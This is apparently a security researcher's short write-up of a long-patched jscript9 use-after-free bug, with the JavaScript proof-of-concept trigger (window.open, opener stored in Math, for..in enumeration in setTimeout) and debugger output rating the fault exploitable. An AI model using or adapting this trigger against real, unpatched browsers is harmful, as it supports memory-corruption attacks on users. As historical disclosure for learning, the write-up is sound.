I found that opening a new window, saving a reference to opener in Math, and then enumerating the window object with for..in in a setTimeout just as the server redirect fired caused a crash rated EXPLOITABLE in jscript9. The key to making the crash exploitable rather than just a simple crash was storing the opener reference in Math and using setTimeout for the enumeration — a tip shared by Gareth Heyes.
function main()
{
win = window.open("redirect.aspx");
win.setTimeout('Math.op=opener;setTimeout(\'Math.op.forIn(window);\',100);', 1000);
}
function forIn(obj)
{
var value;
for (var i in obj){
if (i == obj) continue;
try{value = (obj)[i] + "";}
catch (e){value = "NO_ACCESS";}
document.getElementById("tricked_TA").value += i + " = " + value;
}
}
The fault landed at heap address 0x31e8506a — a DEP violation in freed memory called from JSCRIPT9!JsVarToExtension+0x3c. The debugger rated it EXPLOITABLE as a software NX fault in an invalid/freed block, indicating potential control over the execution pointer via the heap.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.